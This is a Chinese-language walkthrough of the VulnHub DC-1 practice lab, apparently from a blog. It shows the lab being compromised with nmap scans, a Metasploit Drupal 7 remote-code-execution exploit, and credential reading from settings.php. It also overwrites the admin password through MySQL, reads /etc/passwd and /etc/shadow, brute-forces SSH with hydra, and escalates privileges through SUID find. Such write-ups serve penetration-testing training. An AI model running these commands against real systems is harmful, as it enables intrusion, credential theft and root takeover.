DC-1

DC-1 是一个专门建造的易受攻击的实验室,目的是在渗透测试领域获得经验。

它旨在为初学者提供挑战,但它的难易程度取决于您的技能和知识,以及您的学习能力。

要成功完成此挑战,您将需要 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。

获得 root 的方法有多种,我提供了一些flag,其中包含为初学者提供的线索。

总共有五个标志,但最终目的是在 root 的主目录中找到并读取标志。您甚至不需要成为 root 用户即可执行此操作,但是,您将需要 root 用户权限。

根据您的技能水平,您可以跳过查找这些标志中的大部分并直接获取 root 权限。

初学者可能会遇到他们以前从未遇到过的挑战,但谷歌搜索应该足以获得完成这一挑战所需的信息。

信息收集

nmap 192.168.157.0/24	//扫描网段
nmap -sV 192.168.157.142 //扫描版本详情

Drupal 7.x漏洞拿flag1

开放了80端口,那先访问网站

检测到是由使用PHP语言编写的开源内容管理系统Drupal搭建的,并且由Wappalyzer得知版本为7.X,所以直接使用searchsploit命令在漏洞库中搜索此版本是否有漏洞可以利用

searchsploit Drupal 7.X

有一个PHP远程代码执行的漏洞,直接用msf打

msfconsole
search Drupal 7.X
use 0
show options //查看参数设置
set RHOSTS 192.168.157.142
run

shell
#由于得到的不是一个完整的shell环境,所以我们所以pyhton中的pty模块反弹一个完整的shell环境
python -c 'import pty;pty.spawn("/bin/bash")'

得到flag1.txt

搜寻配置文件拿flag2

根据flag1的提示,去看CMS的config配置文件,Drupal7的配置文件为 sites/default/settings.php

cat sites/default/settings.php

得到flag2以及数据库信息

flag2提示爆破和目录扫描并不是唯一获得后台的方法(并且你需要访问权限),下面这些认证信息你如何使用)

修改密码进网站拿flag3

连接数据库

mysql -udbuser -pR0ck3t

show databases;
use drupaldb;
show tables;
select * from users;

查看数据表 (这里的test是我测试时注册的)

密码是加盐的,一般情况下难以破解,这里选择改密码的方式

首先生成自定密码的加盐哈希值。回到网站的目录下执行php scripts/password-hash.sh 密码命令生成

php scripts/password-hash.sh passwd

重新进入数据库修改密码,确认修改成功

update users set pass="$S$DgOmdbqyyWW6Du5QgThyTT1YoMlC5Pm.piv5Aprc9pejK74CobpC" where name='admin';

admin用户登录成功

在Dashboard得到flag3

查看目录拿flag4

passwdshadow/etc 下的目录

cat /etc/passwd
cat /etc/shadow

/etc/shadow无法查看,权限不够,在etc/passwd下发现目标靶机用户flag4

扩展思考

如何没有查看权限的话应该如何得到flag4

解决方法:

有/bin/bash ,考虑ssh连接

这里用 hydra 爆破flag4用户的密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.157.142 ssh -vV -f

-l: 登录的用户名,这里是flag4

/usr/share/john/password.lst: 要使用的密码字典文件路径

192.168.157.142: 目标主机IP

ssh: 要破解的服务,这里是ssh服务

-vV: 详细输出,显示详细的连接和破解过程

-f: 当找到可登录的密码后快速结束

提权拿flag5

查看是否具有root权限的命令

find / -perm -4000 2>/dev/null

发现find具有root权限

find -exec /bin/sh \;

提权成功,寻找flag文件

find / -name '*flag*.*'

得到flag5

简单总结

考察点较全面,思路顺畅,很有趣的一次体验,五个flag很有成就感

VulnHub_DC-1渗透流程的更多相关文章

  1. 『安全科普』WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  2. 【转】WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  3. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  6. 利用Axis2默认口令安全漏洞可入侵WebService网站

    利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...

  7. metasploit 教程之基本参数和扫描

    前言 首先我也不知道我目前的水平适不适合学习msf. 在了解一些msf之后,反正就是挺想学的.就写博记录一下.如有错误的地方,欢迎各位大佬指正. 感激不尽.! 我理解的msf msf全程metaspl ...

  8. Metasploit 学习

    知识准备:CCNA/CCNP基础计算机知识框架:操作系统.汇编.数据库.网络.安全 木马.灰鸽子.口令破解.用后门拷贝电脑文件 渗透测试工程师 penetration test engineer &l ...

  9. Web安全工程师(进阶)课程表

    01-SQL注入漏洞原理与利用 预备知识: 了解HTTP协议,了解常见的数据库.脚本语言.中间件.具备基本的编程语言基础. 授课大纲: 第一章:SQL注入基础 1.1 Web应用架构分析1.2 SQL ...

  10. 利用Axis2默认口令安全漏洞入侵WebService网站

    近期,在黑吧安全网上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基础之上进行了技术思路的拓展.黑吧安全网Axis2默认口令 ...

随机推荐

  1. docker-compose 安装LNMP

    安装DNMP https://github.com/yeszao/dnmp.git https://blog.csdn.net/weixin_34038293/article/details/9427 ...

  2. vim简明文档

    替换 替换当前行第一个 :s/vivian/sky/ 替换当前行第一个 vivian 为 sky 从当前行替换到最后一行 :%s/vivian/sky/g 替换所有行中 vivian 为 sky 查找 ...

  3. 安装XMind如何安装到指定目录

    在Win10系统上安装XMind,发现安装完成之后,XMind被安装到了C盘.由于C盘是系统盘,这让人很不爽.XMind在安装过程中也没有提供安装路径选择,而是点击安装程序之后,就一路开始安装到C盘. ...

  4. ansible(18)--ansible的selinux模块

    1. selinux模块 功能:管理远端主机的 SELINUX 防火墙: 主要参数如下: 参数 说明 state Selinux模式:enforcing.permissive.disabled pol ...

  5. Vue3 项目

    创建 Vue3 项目的步骤如下: 安装 Node.js Vue3 需要依赖 Node.js 环境,因此需要先安装 Node.js.可以从官网下载 Node.js 的安装包并安装,也可以使用包管理器安装 ...

  6. vue3:modal组件开发

    项目环境 @vue/cli 4.5.8 最终效果 需求分析 显示/隐藏 点击遮罩层能否关闭 宽度和zIndex自定义 标题栏 -显示标题和关闭按钮 主体 底部 -内置取消和确定功能 前置知识 tele ...

  7. WPF中 x:Name和Name的区别

    x:Name 唯一地标识 XAML 定义的对象,以便于从代码隐藏或通用代码中访问对象图中实例化的对象.x:Name 一旦应用于支持编程模型,便可被视为与由构造函数返回的用于保存对象引用或实例的变量等效 ...

  8. nginx aio模块添加与配置

    1. 升级目的 让现有服务平滑过渡到高版本,减少服务漏洞,提高服务性能 让其支持nginx最新特性 nginx threads模块 2. 获取nginx1.7.2版本 wget http://ngin ...

  9. 生成树协议(STP)基本知识及实验(使用eNSP)

    1.基本知识--摘至<网络之路--交换专题> (1)生成树的作用:在链路层消除环路上可能出现的广播风暴. (2)生成树的工作由三部分组成:选举过程.拓扑计算.端口行为确定. 选举过程:在二 ...

  10. vue3 Suspense

    在Vue.js 3中,Suspense 是一个用于处理异步组件的特殊组件,它允许你在等待异步组件加载时展示备用内容.这对于优化用户体验.处理懒加载组件或异步数据获取时非常有用.Suspense 的主要 ...